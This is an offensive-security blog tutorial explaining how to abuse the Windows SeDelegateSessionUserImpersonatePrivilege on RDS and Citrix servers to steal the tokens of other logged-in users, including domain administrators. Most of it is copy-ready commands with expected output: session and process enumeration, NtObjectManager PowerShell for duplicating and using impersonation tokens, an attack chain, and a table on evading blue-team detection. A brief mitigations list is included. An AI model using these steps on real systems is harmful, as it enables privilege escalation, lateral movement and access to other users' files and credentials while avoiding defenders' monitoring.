web hacking

SeDelegateSessionUserImpersonatePrivilege: Cross-Session Token Stealing on RDS and Citrix

SeDelegateSessionUserImpersonatePrivilege: Cross-Session Token Stealing on RDS and Citrix

How to exploit SeDelegateSessionUserImpersonatePrivilege to impersonate users in active RDS sessions. Cross-session token stealing with NtObjectManager. Privesc and Red Team techniques.

  • Posted on 2026-06-16
  • Reading time: 4 min

You're on a Terminal Server with 20 connected users. You've compromised the session broker's service account. With SeDelegateSessionUserImpersonatePrivilege, you can impersonate any user in any active session—including logged-in domain administrators—without waiting for them to connect to you.


Quick Exploit #

cmd
query session
tasklist /FI "SESSION eq 3"
powershell
Import-Module NtObjectManager
$proc = Get-NtProcess -ProcessId 4512
$token = Get-NtToken -Process $proc -Duplicate -TokenType Impersonation -ImpersonationLevel Impersonation
Invoke-NtToken -Token $token -Script { whoami }

Expected output:

text
corp\domain.admin

Attack Chain #

text
Service account RDS/Citrix compromesso
  → query session → identifica domain.admin in sessione 3
  → tasklist /FI "SESSION eq 3" → trova PID processo nella sessione
  → NtObjectManager: Get-NtProcess → Get-NtToken → Invoke-NtToken
  → accesso alle risorse dell'utente impersonato (file, app, connessioni)

Tool Decision #

TargetTool
Session enumerationquery session / qwinsta
Session details (logon type, auth package)Seatbelt.exe LogonSessions
Cross-session token stealingNtObjectManager PowerShell module
Check obtained token privilegesInvoke-NtToken -Token $t -Script { whoami /priv }

What is SeDelegateSessionUserImpersonatePrivilege? #

It's a cross-session extension of SeImpersonatePrivilege. The key difference:

  • SeImpersonatePrivilege → reactive: wait for a privileged user to connect to your process, then capture the token
  • SeDelegateSessionUserImpersonatePrivilege → proactive: you impersonate active users in separate sessions, without them doing anything

Documented by James Forshaw (Google Project Zero). This privilege is rare—almost never on regular accounts. If you find it on a compromised, non-system account, it's a significant discovery.


When it exists #

  • RDS Services (Remote Desktop Services) — session broker service account
  • Citrix XenApp / XenDesktop — Citrix components in some configurations
  • Windows Remote Management in specific configurations

Verify:

cmd
whoami /priv

Looking for:

text
SeDelegateSessionUserImpersonatePrivilege    Obtain an impersonation token for another user in the same session    Enabled

Step 1 — Enumerate active sessions #

First identify which users are logged in and in which session:

cmd
query session

Output:

text
SESSIONNAME       USERNAME              ID  STATE
console           LocalAdmin            1   Active
rdp-tcp#0         user.helpdesk         2   Active
rdp-tcp#1         domain.admin          3   Active
rdp-tcp#2         dev.user              4   Active

With Seatbelt for additional details (logon type, authentication package):

cmd
Seatbelt.exe LogonSessions

Step 2 — Identify processes in the target session #

Find the PID of a process in the session of the user you want to impersonate (e.g. session 3 — domain.admin):

cmd
tasklist /FI "SESSION eq 3"

Output:

text
Image Name    PID    Session#    Mem Usage
explorer.exe  4512   3           45,000 K
notepad.exe   5123   3           12,000 K

Step 3 — Cross-session token stealing with NtObjectManager #

Install James Forshaw's PowerShell module:

powershell
Install-Module NtObjectManager
Import-Module NtObjectManager

Open a process in the target session and get the impersonation token:

powershell
$proc = Get-NtProcess -ProcessId 4512
powershell
$token = Get-NtToken -Process $proc -Duplicate -TokenType Impersonation -ImpersonationLevel Impersonation

Then run code as the impersonated user:

powershell
Invoke-NtToken -Token $token -Script {
    whoami
    # accedi a file, risorse, credenziali dell'utente target
}

SeDelegateSessionUserImpersonatePrivilege allows you to open processes in different sessions and get impersonation tokens — normally blocked without this privilege.

Source: googleprojectzero/sandbox-attacksurface-analysis-tools


Difference with SeDebugPrivilege on Terminal Server #

  • SeDebugPrivilege → read process memory → extract credentials from lsass dump
  • SeDelegateSessionUserImpersonatePrivilege → get a user token → take action including him, access his resources, his files, his applications

The two complement each other: SeDebugPrivilege for credentials in memory, this for accessing user resources in session.


Real-world scenarios #

Citrix / RDS with domain admin in session — Citrix service account compromised → enumerates sessions → domain.admin in session 3 → token stealing → access to domain admin resources → credentials, files, open connections.

Multi-user management server — Multiple admins connect to the same jump server. Compromised monitoring system service account → impersonates the admin with more privileges → lateral movement.


Common mistakes #

Token obtained at Identification level instead of Impersonation Invoke-NtToken fails with “Access Denied”. Check the parameter -ImpersonationLevel Impersonation in the call Get-NtTokenIf the process in the target session has restrictive ACLs on the handle, try a different process in the same session.

NtObjectManager does not install Install-Module NtObjectManager Requires an updated PowerShellGet. Alternatively: Install-Module -Name NtObjectManager -Force -SkipPublisherCheck.

query session does not show active sessions — You're probably on a single-user machine. The vector requires a multi-session system (RDS, Citrix, shared server).


Detection and bypass (Red Team view) #

What the Blue Team detectsHow the Red Team bypasses it
Cross-session impersonation without Event ID 4624Difficult — it's precisely the absence of logon events that makes this vector interesting.
query session from service accountUsa Seatbelt.exe LogonSessions instead — different pattern, same result
Event ID 4648 from service account in anomalous contextOperates during normal RDS service hours

When it fails #

  • Single-user system → no separate sessions
  • Token at Identification level → not sufficient. Verification -ImpersonationLevel
  • NtObjectManager not loading → check PowerShell and .NET version

Mitigations #

  • Do not assign the privilege to any account other than the strictly necessary RDS/Citrix components
  • VDI with isolated sessions for privileged users
  • Separate session management services on dedicated infrastructure
  • To monitor query session from service account

Realistic note: On RDS and Citrix enterprise infrastructures, this privilege is often present on forgotten service accounts. Most security reviews don't explicitly check for it—it's one of the rarest but most impactful findings in multi-session environments.


FAQ #

Does it work on single-user systems? No—there are no separate sessions. The vector requires multi-session.

Has it ever been exploited in documented attacks? Documented by James Forshaw (Project Zero). Mature public tools are limited due to the rarity of the privilege—but where the right RDS/Citrix context exists, the vector is real.


SeDelegateSessionUserImpersonatePrivilege is a niche but critical privilege on RDS and Citrix infrastructures — if you find it on a compromised account in a multi-session environment, exploit it immediately.


Related articles:

References: NtObjectManager · James Forshaw - Project Zero · Microsoft Docs

For assessments on RDS and Citrix infrastructures: hackita.it/servizi

#seldegatesessionuserimpersonateprivilege #token-stealing #rds-impersonation

leave a message

I'm not a robot